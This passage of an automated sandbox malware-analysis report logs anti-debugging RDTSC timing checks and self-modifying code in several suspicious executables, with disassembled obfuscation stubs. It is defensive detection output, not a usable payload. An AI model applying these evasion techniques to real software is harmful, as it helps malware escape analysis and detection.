Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C4FB9 second address: 11C4FD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FD295329656h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C4FD2 second address: 11C4FF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD2956E1636h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C4FF3 second address: 11C5014 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD295329664h 0x00000009 popad 0x0000000a jg 00007FD295329662h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C5014 second address: 11C5061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FD2956E1626h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jno 00007FD2956E1626h 0x00000013 jmp 00007FD2956E162Ah 0x00000018 push eax 0x00000019 pop eax 0x0000001a popad 0x0000001b ja 00007FD2956E1634h 0x00000021 jmp 00007FD2956E162Eh 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FD2956E162Ah 0x0000002d jmp 00007FD2956E162Dh 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C51D6 second address: 11C51E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD29532965Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C546E second address: 11C5477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C5477 second address: 11C5482 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C5482 second address: 11C549E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1630h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jno 00007FD2956E1628h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C55E0 second address: 11C5605 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD295329656h 0x00000008 jmp 00007FD295329663h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jng 00007FD295329656h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C5605 second address: 11C560F instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD2956E1626h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C573B second address: 11C5758 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD295329667h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C5758 second address: 11C576F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2956E1633h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C576F second address: 11C578E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD295329665h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7BD3 second address: 11C7BDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FD2956E1626h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7BDE second address: 11C7BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7BEB second address: 11C7BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD2956E1626h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7BF6 second address: 11C7BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7BFC second address: 11C7C00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7C00 second address: 11C7C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d jmp 00007FD295329669h 0x00000012 pop ecx 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7C80 second address: 11C7D14 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD2956E1628h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007FD2956E1628h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000014h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 movsx esi, bx 0x0000002a push 00000000h 0x0000002c pushad 0x0000002d mov dword ptr [ebp+122D1D30h], edi 0x00000033 or dword ptr [ebp+122D1D6Ch], esi 0x00000039 popad 0x0000003a push C1743AA4h 0x0000003f jmp 00007FD2956E1631h 0x00000044 add dword ptr [esp], 3E8BC5DCh 0x0000004b and ecx, dword ptr [ebp+122D3CC5h] 0x00000051 push 00000003h 0x00000053 add dh, FFFFFF93h 0x00000056 mov dword ptr [ebp+122D1D13h], edx 0x0000005c push 00000000h 0x0000005e push 00000003h 0x00000060 js 00007FD2956E162Ch 0x00000066 push A86DBE25h 0x0000006b pushad 0x0000006c jmp 00007FD2956E162Fh 0x00000071 push ecx 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7D14 second address: 11C7D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 xor dword ptr [esp], 686DBE25h 0x0000000d add dword ptr [ebp+122D1D9Eh], esi 0x00000013 lea ebx, dword ptr [ebp+1245BB04h] 0x00000019 mov ecx, dword ptr [ebp+122D3E2Dh] 0x0000001f xchg eax, ebx 0x00000020 pushad 0x00000021 jmp 00007FD29532965Fh 0x00000026 jnp 00007FD295329658h 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7DD9 second address: 11C7E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnc 00007FD2956E1628h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FD2956E1635h 0x00000012 nop 0x00000013 pushad 0x00000014 mov bx, cx 0x00000017 mov eax, ebx 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FD2956E1628h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Ch 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov dx, ax 0x00000039 or edi, dword ptr [ebp+122D3EC1h] 0x0000003f push 28BDFE9Dh 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jmp 00007FD2956E162Eh 0x0000004c push eax 0x0000004d pop eax 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7E4D second address: 11C7E53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C7E53 second address: 11C7E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C8076 second address: 11C807A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C807A second address: 11C8080 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C8080 second address: 11C809C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007FD295329664h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C809C second address: 11C80A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E9ADF second address: 11E9AF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD295329656h 0x0000000a jmp 00007FD29532965Ah 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E831A second address: 11E8320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E84A3 second address: 11E84AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E870C second address: 11E8715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E8872 second address: 11E8878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E8878 second address: 11E889B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jno 00007FD2956E1626h 0x0000000c popad 0x0000000d jmp 00007FD2956E162Eh 0x00000012 jg 00007FD2956E162Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E8AFE second address: 11E8B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E8B02 second address: 11E8B22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1634h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E957B second address: 11E9587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E9587 second address: 11E9590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11E9987 second address: 11E9996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jg 00007FD29532965Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F04D7 second address: 11F052B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FD2956E1639h 0x0000000f mov eax, dword ptr [eax] 0x00000011 jnp 00007FD2956E1631h 0x00000017 jmp 00007FD2956E162Bh 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FD2956E1638h 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F052B second address: 11F0530 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11EF5D7 second address: 11EF5DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F4430 second address: 11F4435 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11B5AC3 second address: 11B5AC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F3C85 second address: 11F3CB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 jnl 00007FD295329656h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FD295329665h 0x0000001a pushad 0x0000001b popad 0x0000001c jno 00007FD295329656h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F4263 second address: 11F4267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F4267 second address: 11F42AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FD295329662h 0x0000000d pushad 0x0000000e jmp 00007FD295329665h 0x00000013 jnc 00007FD295329656h 0x00000019 jl 00007FD295329656h 0x0000001f popad 0x00000020 je 00007FD29532965Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F42AC second address: 11F42B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F42B4 second address: 11F42BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F42BA second address: 11F42BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F5AB8 second address: 11F5ACA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F5ACA second address: 11F5B00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD2956E1631h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jmp 00007FD2956E162Eh 0x00000018 pushad 0x00000019 jne 00007FD2956E1626h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F5B00 second address: 11F5B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD29532965Fh 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F5B19 second address: 11F5B20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F5E75 second address: 11F5E79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F5E79 second address: 11F5E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007FD2956E1626h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD2956E162Ah 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F6680 second address: 11F6691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 pushad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F6691 second address: 11F66EE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007FD2956E1628h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 jp 00007FD2956E162Ch 0x00000028 sub esi, dword ptr [ebp+122D3E01h] 0x0000002e push eax 0x0000002f pushad 0x00000030 push edx 0x00000031 jmp 00007FD2956E1639h 0x00000036 pop edx 0x00000037 jnp 00007FD2956E162Ch 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F67A4 second address: 11F67A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F67A9 second address: 11F67D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD2956E1626h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD2956E1639h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F6894 second address: 11F689A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F689A second address: 11F68A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F68A6 second address: 11F68BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F68BC second address: 11F68C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11F6B55 second address: 11F6B5A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Special instruction interceptor: First address: 468954 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Special instruction interceptor: First address: 46648A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Special instruction interceptor: First address: 629DAD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	Special instruction interceptor: First address: 6AA9E1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Special instruction interceptor: First address: 103FF37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Special instruction interceptor: First address: 103D1FE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Special instruction interceptor: First address: 1216FCE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	Special instruction interceptor: First address: 127D554 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Special instruction interceptor: First address: A457B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\15E9YUDKFQLPC478BWEBATDC87A.exe	Special instruction interceptor: First address: ACA5AF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3D57B3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 45A5AF instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Memory allocated: 1263B8F0000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXP000.TMP\soonmaintain.exe	Memory allocated: 12653AF0000 memory reserve \| memory write watch			Jump to behavior

